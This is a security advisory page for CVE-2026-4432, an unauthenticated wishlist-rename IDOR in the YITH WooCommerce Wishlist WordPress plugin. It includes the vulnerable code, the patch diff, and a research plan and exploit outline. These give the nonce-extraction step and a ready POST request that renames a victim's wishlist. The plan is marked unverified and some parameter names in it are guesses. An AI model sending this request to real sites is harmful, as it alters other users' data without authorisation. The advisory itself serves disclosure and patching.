CVE-2026-4432

YITH WooCommerce Wishlist < 4.13.0 - Unauthenticated Insecure Direct Object Reference to Wishlist Rename

mediumAuthorization Bypass Through User-Controlled Key
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
4.13.0
Patched in
27d
Time to patch

Description

The YITH WooCommerce Wishlist plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to 4.13.0 (exclusive) due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to rename other user's wishlists.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<4.13.0
PublishedMarch 20, 2026
Last updatedApril 15, 2026

What Changed in the Fix

Changes introduced in v4.13.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-4432 - YITH WooCommerce Wishlist Unauthenticated IDOR ## 1. Vulnerability Summary The **YITH WooCommerce Wishlist** plugin (versions < 4.13.0) contains an **Insecure Direct Object Reference (IDOR)** vulnerability in its AJAX handling logic. Specifically, the function `YITH…

Show full research plan

Research Plan: CVE-2026-4432 - YITH WooCommerce Wishlist Unauthenticated IDOR

1. Vulnerability Summary

The YITH WooCommerce Wishlist plugin (versions < 4.13.0) contains an Insecure Direct Object Reference (IDOR) vulnerability in its AJAX handling logic. Specifically, the function YITH_WCWL_Ajax_Handler::save_title is registered as an unauthenticated AJAX action (wp_ajax_nopriv_save_title). This function allows users to update the title of a wishlist but fails to verify if the current requestor owns the wishlist identified by the user-provided token or ID. Consequently, an unauthenticated attacker can rename any user's wishlist if they obtain the corresponding wishlist token.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: save_title
  • HTTP Method: POST
  • Authentication: None (Unauthenticated)
  • Vulnerable Parameters:
    • wishlist_token (or wishlist_id): The identifier of the target wishlist.
    • title (or new_name): The new name for the wishlist.
  • Preconditions:
    • The attacker must obtain a valid save_title nonce (exposed on the frontend).
    • The attacker must know or guess the wishlist_token of the target wishlist.

3. Code Flow

  1. Entry Point: The AJAX request hits admin-ajax.php with action=save_title.
  2. Hook Registration: In includes/class-yith-wcwl-ajax-handler.php, the action is registered:
    add_action( 'wp_ajax_save_title', array( 'YITH_WCWL_Ajax_Handler', 'save_title' ) );
    add_action( 'wp_ajax_nopriv_save_title', array( 'YITH_WCWL_Ajax_Handler', 'save_title' ) );
    
  3. Execution: YITH_WCWL_Ajax_Handler::save_title() is called.
  4. Nonce Verification: The function checks wp_verify_nonce( $_REQUEST['nonce'], 'save_title' ).
  5. Object Retrieval: The function retrieves the wishlist object using a user-controlled key (likely via YITH_WCWL_Wishlist_Factory::get_wishlist( $_REQUEST['wishlist_token'] )).
  6. Vulnerable Sink: The function calls $wishlist->set_name( $_REQUEST['title'] ) and $wishlist->save() without checking if get_current_user_id() === $wishlist->get_user_id().

4. Nonce Acquisition Strategy

The save_title nonce is generated for unauthenticated users and localized into a JavaScript object on pages containing the wishlist shortcode.

  1. Shortcode: The primary shortcode is [yith_wcwl_wishlist].
  2. Setup: Create a public page with this shortcode.
  3. Extraction:
    • Navigate to the page as a guest.
    • Use browser_eval to extract the nonce from the yith_wcwl_l10n object.
    • Verbatim Variable: window.yith_wcwl_l10n?.save_title_nonce

5. Exploitation Strategy

Step 1: Discover Target Wishlist Token

In a real-world scenario, tokens are often public in URLs (e.g., ?wishlist_token=ABCDEF). In a test environment, we will extract the token for a specific user's wishlist via WP-CLI.

Step 2: Acquire Nonce

Navigate to a page where the plugin is active and extract the save_title nonce.

Step 3: Execute Rename Request

Send a POST request to admin-ajax.php.

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=save_title&nonce=[EXTRACTED_NONCE]&wishlist_token=[VICTIM_TOKEN]&title=Hacked_Wishlist_Name
    

Note: If title fails, the parameter may be wishlist_name based on the REST controller naming.

6. Test Data Setup

  1. Create Victim User:
    wp user create victim victim@example.com --user_pass=password123
    
  2. Create Victim's Wishlist:
    • Log in as victim or use SQL to insert a wishlist into wp_yith_wcwl_wishlists.
    • Ensure the wishlist has a known wishlist_token and wishlist_name (e.g., "Private Stuff").
  3. Create Public Nonce Page:
    wp post create --post_type=page --post_status=publish --post_title="Wishlist Page" --post_content='[yith_wcwl_wishlist]'
    
  4. Extract Victim Token for PoC:
    wp db query "SELECT wishlist_token FROM wp_yith_wcwl_wishlists WHERE wishlist_name='Private Stuff' LIMIT 1" --skip-column-names
    

7. Expected Results

  • The AJAX response should return a success status (likely {"result":"true"} or a JSON object containing the new title).
  • The victim's wishlist name in the database will be updated from "Private Stuff" to "Hacked_Wishlist_Name".

8. Verification Steps

Verify the database state after the attack:

wp db query "SELECT wishlist_name FROM wp_yith_wcwl_wishlists WHERE wishlist_token='[VICTIM_TOKEN]'"

The output should be Hacked_Wishlist_Name.

9. Alternative Approaches

If the save_title AJAX action is blocked or parameter names differ:

  1. Check for wishlist_id: Try passing a numeric ID instead of a token if the factory supports it.
  2. Check wishlist_name vs title: Use the http_request tool to check for error messages in the response that might reveal expected parameter names.
  3. REST API Check: Although primarily an AJAX vulnerability, check if POST /wp-json/yith/wishlist/v1/lists (registered in class-yith-wcwl-rest-v1-lists-controller.php) allows updating existing lists by including an id or token in the payload despite being intended for creation.
Research Findings
Static analysis — not yet PoC-verified

Summary

The YITH WooCommerce Wishlist plugin is vulnerable to an unauthenticated Insecure Direct Object Reference (IDOR) via its AJAX title-saving functionality. Attackers can rename any user's wishlist by providing the target wishlist's token and a valid nonce, as the plugin fails to verify if the requester owns the wishlist being modified.

Vulnerable Code

// includes/class-yith-wcwl-ajax-handler.php

// Line 39-40: Registration of unauthenticated AJAX action
add_action( 'wp_ajax_save_title', array( 'YITH_WCWL_Ajax_Handler', 'save_title' ) );
add_action( 'wp_ajax_nopriv_save_title', array( 'YITH_WCWL_Ajax_Handler', 'save_title' ) );

---

// includes/class-yith-wcwl-ajax-handler.php

public static function save_title() {
    if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'save_title' ) ) {
        wp_send_json( array( 'result' => false ) );
    }

    $wishlist_token = isset( $_REQUEST['wishlist_token'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['wishlist_token'] ) ) : false;
    $wishlist_name  = isset( $_REQUEST['title'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['title'] ) ) : false;
    $fragments      = isset( $_REQUEST['fragments'] ) ? wc_clean( $_REQUEST['fragments'] ) : false;

    $wishlist = YITH_WCWL_Wishlist_Factory::get_wishlist( $wishlist_token );

    if ( $wishlist && $wishlist_name ) {
        // Missing ownership check here before modification
        $wishlist->set_name( $wishlist_name );
        $wishlist->save();

        wp_send_json(
            array(
                'result'    => true,
                'fragments' => self::refresh_fragments( $fragments ),
            )
        );
    }

    wp_send_json( array( 'result' => false ) );
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/yith-woocommerce-wishlist/4.12.0/includes/class-yith-wcwl-ajax-handler.php	2026-01-26 13:36:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/yith-woocommerce-wishlist/4.13.0/includes/class-yith-wcwl-ajax-handler.php	2026-03-05 10:49:18.000000000 +0000
@@ -302,16 +302,12 @@
 				);
 			}
 
-			if ( ! empty( $fragments ) ) {
-				foreach ( $fragments as $id => $options ) {
-					if ( isset( $options['is_user_owner'] ) && ! $options['is_user_owner'] ) {
-						wp_send_json(
-							array(
-								'result' => false,
-							)
-						);
-					}
-				}
+			if ( $wishlist && ! $wishlist->is_current_user_owner() ) {
+				wp_send_json(
+					array(
+						'result' => false,
+					)
+				);
 			}
 
 			$wishlist->set_name( $wishlist_name );

Exploit Outline

1. **Identify Target**: Locate a victim's wishlist token, typically found in public share URLs or while browsing public wishlists (e.g., `?wishlist_token=ABCDEF`). 2. **Obtain Nonce**: Access any page on the site that loads the wishlist functionality (e.g., the shop or a page containing the `[yith_wcwl_wishlist]` shortcode) as an unauthenticated guest. Extract the `save_title` nonce from the `window.yith_wcwl_l10n.save_title_nonce` JavaScript variable. 3. **Execute IDOR**: Send an unauthenticated AJAX request to `/wp-admin/admin-ajax.php` with the following POST parameters: - `action`: `save_title` - `nonce`: [EXTRACTED_NONCE] - `wishlist_token`: [VICTIM_TOKEN] - `title`: [NEW_WISH_LIST_NAME] 4. **Verification**: Observe that the victim's wishlist name has been updated in the database or frontend regardless of the attacker's lack of ownership.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.